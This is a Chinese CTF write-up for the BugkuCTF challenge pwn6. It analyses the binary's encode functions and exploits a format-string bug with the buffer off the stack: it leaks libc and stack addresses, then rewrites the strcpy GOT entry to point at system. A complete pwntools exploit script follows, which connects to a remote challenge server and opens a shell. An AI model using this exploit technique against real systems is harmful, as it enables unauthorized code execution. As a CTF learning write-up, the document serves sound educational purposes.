前言

此题是我根据某大佬wp(从Libc官网下载的Libc)解出的,我在他的exp脚本基础上进行修改通过LibcSearcher搜索可利用的Libc,因为这道题在Bugku未提供Libc版本

有些部分很难理解,如果有大佬知道的,还请不吝赐教

还是先把解题流程写下来吧

解题流程

查看文件类型:

查看保护机制:

IDA64位打开:
伪码:

查看子程序:



case 2:


对encode2进行分析,发现printf(buf1),应该是要用格式化字符串漏洞,因为buf1并不是这个函数的局部变量,可能还是个格式化字符串不在栈上的格式化字符串漏洞,具体的encode操作是对一个字节进行移位,想利用的话还要先构造一个逆算法。

case 3:


对encode3进行分析,buf是0x110大小,但是read是0x100,直接栈溢出是没戏了,这里还有个strcpy函数,可以把encode1里的src复制给buf,后来发现实现不了,放弃了,还是老老实实地通过格式化字符串漏洞写GOT表吧,encode算法也是移位操作,写个逆算法就行。

case 1:


对encode1进行分析,该函数的功能时先输入一个key,之后对这个key进行逐位加1异或的操作(具体看伪码,用文字也有点难描述)
之后用前面key生成的一个结果对真正要encode的字符串再进行一个异或操作,最终输出结果。其他没发现啥问题。

解题思路

通过上面的分析,大体思路是通过格式化字符串漏洞写GOT表,把strcpy换成system。具体要解决以下几个问题:
1、程序正常执行的话是一轮游,选择任何一个encode算法,执行完就退出了。需要能重复执行该程序,不能执行一次就退出。
2、如何获取libc基址、程序基址、栈地址。
3、写各个encode的逆算法。

针对第1个问题,发现判断是否退出的关键变量qword_201700在src的后面,而且encode1的read是0x150,覆盖qword_201700使用0x148就够用了,0^x=x,这里的key选用\x00,首次尝试使用’a’*0x148直接过了(其实0x141~-0x148都可以)。

针对第2个问题,使用格式化字符串漏洞,配合gdb调试可以泄露libc基址、程序基址、栈地址。

针对第3个问题,encode2和encode3都是移位操作,不涉及复杂的数学知识,也好实现。

具体调试

针对泄露地址的问题,在printf处下断点,红框的__libc_start_main可以用来泄露libc基址,使用fmtarg,这个插件需要安装到gdb里。(那位大佬说具体的偏移也可以看最左侧的值,这里是0x32,0x32+5=55,这里不明白为什么要加5,有大佬知道的,还请不吝赐教)

rbp下面的存储是返回地址,和IDA里的信息可以对应上,可以计算出程序基址。使用fmtarg。(偏移的算法也可以是0x2e+5=51,不明白为什么加5,有大佬知道的,还请不吝赐教)

泄露地址后开始使用格式化字符串不在栈上的利用。首先找三个指针p1->p2->p3。具体见下图的红框。p1(%14$p)、p2(%50 $p)、p3(%54 $p)(这里最疑惑,为什么要找这三个指针,有大佬知道的,还请不吝赐教)

具体的利用是分两步走的:
第一步首先通过p1写p2的低位字节(改变指向p3的偏移),再利用p2把p3所在的内存改成strcpyGOT表地址。
第二步通过p2写p3(此时已经是strcpyGOT表)的低位字节,再通过strcpyGOT把最终指向地址改为system的libc地址。

首先看第一步的之间过程


最终的p3值被改为了strcpyGOT地址

第二步的之间过程与第一步类似,不一张张贴图了
exp:

#coding=utf-8
from pwn import *
import sys
from LibcSearcher import *
context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']#远程调试
p = remote("114.67.246.176",12532)
#本地调试
#p = process('./pwn6')
elf=ELF('./pwn6')#encode2的逆算法
def choice2encode(strarg):return b''.join([p8(((ord(i)&0b11)<<6)+((ord(i)&0b11111100)>>2)) for i in strarg])
#encode3的逆算法
def choice3encode(strarg):return b''.join([p8(((ord(i)&0b00111111)<<2)+ ((ord(i)&0b11000000)>>6)) for i in strarg])#确保程序可以循环执行,不至于一轮游
p.sendlineafter('choice:','1')
p.sendafter('keys?',p8(0))
p.sendafter('encode:','a'*0x148) #0x141也可以,但0x140不可#搜索可能的libc模板:
#libc=LibcSearcher("__libc_start_main", libc_start_main)
#libc_base=libc_start_main-libc.dump('__libc_start_main')   #libc基址
#log.success('libc_base'+hex(libc_base))
#printf=libc.dump('printf')+libc_base   #此libc的printf地址
#log.success('printf'+hex(printf))
#system=libc.dump('system')+libc_base   #此libc的system地址
#log.success('system'+hex(system))#gdb.attach(p,'b printf')
#泄露libc、程序基址、栈地址
p.sendlineafter('choice:','2')
payload=choice2encode('%55$p%51$p%14$p')
p.sendafter('encode:',payload)
p.recvuntil('0x')   #回显的信息为上面的格式请求,在一排
libc_start_main=int(p.recvuntil('0x',drop=True),16)-240
#搜索可能的libc
#libc_base
libc=LibcSearcher("__libc_start_main", libc_start_main)
libc_base=libc_start_main-libc.dump('__libc_start_main')   #libc基址
#main_base
main_base=int(p.recvuntil('0x',drop=True),16)-0xe5b#buf=p.recvuntil("\n",drop=True)#直到接收到\n为止,drop=True表示丢弃\n,buf为接收到的输出但不包括丢弃的\n
#stack_addr
stack_addr=int(p.recv(12),16)
success('leak->libc_base' +hex(libc_base))
success('leak->mainbase' +hex(main_base))
success('leak->stack_addr' +hex(stack_addr))
strcpy_got=main_base+elf.got['strcpy']   #疑问:很奇怪,不是elf.got['strcpy']就可以了吗?为什么还加上main_base?还请大佬不吝赐教
print('strcpyGOT'+hex(strcpy_got))
libc_system=libc_base+libc.dump('system')
print('system'+hex(libc_system))#gdb.attach(p,'b printf')
#格式化字符串,第一步
for i in range(6):print('first'+str(i))x = 5-ioff_lowByte=(stack_addr+32+x)&0xffp.sendlineafter('choice:','2')payload=choice2encode('%'+str(off_lowByte)+'c%14$hhn')p.sendafter('encode:',payload)value_lowByte = (strcpy_got>>(x*8))&0xffp.sendlineafter('choice:','2')payload=choice2encode('%'+str(value_lowByte)+'c%50$hhn')p.sendafter('encode:',payload)#gdb.attach(p,'b printf')
#格式化字符串,第二步
for i in range(6):print('second'+str(i))off_lowByte=(strcpy_got+i)&0xffp.sendlineafter('choice:','2')payload=choice2encode('%'+str(off_lowByte)+'c%50$hhn')p.sendafter('encode:',payload)value_lowByte = (libc_system>>(i*8))&0xffp.sendlineafter('choice:','2')payload=choice2encode('%'+str(value_lowByte)+'c%54$hhn')p.sendafter('encode:',payload)#执行system('/bin/sh')
p.sendlineafter('choice:','3')
p.sendafter('encode:',choice3encode('/bin/sh\x00'))
p.interactive()

运行脚本

逐渐尝试
输入1,进入到服务器后台才知道libc版本为2.23,所以选8也可以

得到flag{778b4fe57dc339fa540}
这是才得知libc.so的版本为2.23,那么上面的版本也可以选8

BugkuCTF-PWN题pwn6-printf超详细讲解(未提供Libc版本)相关推荐

  1. Python的零基础超详细讲解(第七天)-Python的数据的应用

    往期文章 Python的零基础超详细讲解(第一天)-Python简介以及下载_编程简单学的博客-CSDN博客 Python的零基础超详细讲解(第二天)-Python的基础语法1_编程简单学的博客-CS ...

  2. stm32f103利用HC06进行蓝牙通信,在7针的OLED屏幕上显示,带数据更新功能(带超详细讲解)

    stm32f103利用HC06进行蓝牙通信,在7针的OLED屏幕上显示,带数据更新功能(带超详细讲解) 首先看看效果吧 手机端发送一个数据在OLED屏幕上显示 其实蓝牙通信就是个蓝牙转串口的过程,手机 ...

  3. Python的零基础超详细讲解(第十三天)-Python的类与对象

    基础篇往期文章如下: Python的零基础超详细讲解(第一天)-Python简介以及下载 Python的零基础超详细讲解(第二天)-Python的基础语法1 Python的零基础超详细讲解(第三天)- ...

  4. Python的零基础超详细讲解(第十二天)-Python函数及使用

    基础篇往期文章: Python的零基础超详细讲解(第一天)-Python简介以及下载_编程简单学的博客-CSDN博客 Python的零基础超详细讲解(第二天)-Python的基础语法1_编程简单学的博 ...

  5. Python的零基础超详细讲解(第五天)-Python的运算符

    往期文章 Python的零基础超详细讲解(第一天)-Python简介以及下载_编程简单学的博客-CSDN博客 Python的零基础超详细讲解(第二天)-Python的基础语法1_编程简单学的博客-CS ...

  6. python高级语法装饰器_Python高级编程——装饰器Decorator超详细讲解上

    Python高级编程--装饰器Decorator超详细讲解(上篇) 送你小心心记得关注我哦!! 进入正文 全文摘要 装饰器decorator,是python语言的重要特性,我们平时都会遇到,无论是面向 ...

  7. mybatis-plus超详细讲解

    (6条消息) mybatis-plus超详细讲解_zdsg45的博客-CSDN博客_mybatis-plushttps://blog.csdn.net/zdsg45/article/details/1 ...

  8. Java基础18-String类【String类的特点对象个数常用方法】【超详细讲解】

    Java基础-String类[超详细讲解] String类的特点 String在java.lang.String包中 1:特点 (1)String类型不能被继承,因为由final修饰 (2)Strin ...

  9. react的超详细讲解

    create-react-app 项目目录 在HTML中使用react 1 2 3基础 React的注意事项 模拟的React 和 render React组件 函数组件 类组件 React 的数据源 ...

最新文章

  1. python dataframe 如何去除缺失值
  2. tomcat7.0配置CORS(跨域资源共享)
  3. 求【javascript设计模式】【高性能网站建设指南】PDF!哪位有给下啊!!!
  4. 信息安全管理与评估_计算机工程学院教师参加“信息安全管理与评估赛项”说明会...
  5. 别等了,全面「远程办公」凉了
  6. Ubuntu下安装Oracle11g(图文教程)
  7. java反射 数组类型_Java反射-数组
  8. 3.6 SM30维护表数据
  9. dns迭代查询配置_人人都能看懂-关于dns服务基本知识
  10. Spring3 MVC 深入研究
  11. jquery子元素过滤选择器:nth-child、:first-child、:last-child、:only-child
  12. 宏定义中#和##的用法
  13. Java基础IDEA快捷键
  14. 2021-04-18
  15. url伪静态、url重写
  16. Jmeter进行接口测试流程步骤详解
  17. 记DeeCamp 2019夏面试
  18. cad画钟表_cad应用环形矩阵制作钟表盘
  19. 【分析】魔兽争霸3的MPQ文件及模型格式分析
  20. SPOJ ACPC13——Increasing Shortest Path

热门文章

  1. 深度 | 面向云原生数据湖的元数据管理技术解析
  2. 如何实现用户通信授权的可信、可知、可追溯?——通信授权服务技术解读
  3. 菜鸟+Hologres=智能物流
  4. 进击的Kubernetes调度系统(一):SchedulingFramework
  5. 阿里五年晋升三次,这个程序员要聊聊他的选择
  6. 开发函数计算的正确姿势——tensorflow serving
  7. 阿里小二的日常工作要被TA们“接管”了!
  8. 支持Dubbo生态发展,阿里巴巴启动新的开源项目 Nacos
  9. 解码2017双11:全球狂欢新记录背后的阿里云存储
  10. 独家对话谢宝友:做一款类似于 Linux 的国产操作系统 | 人物志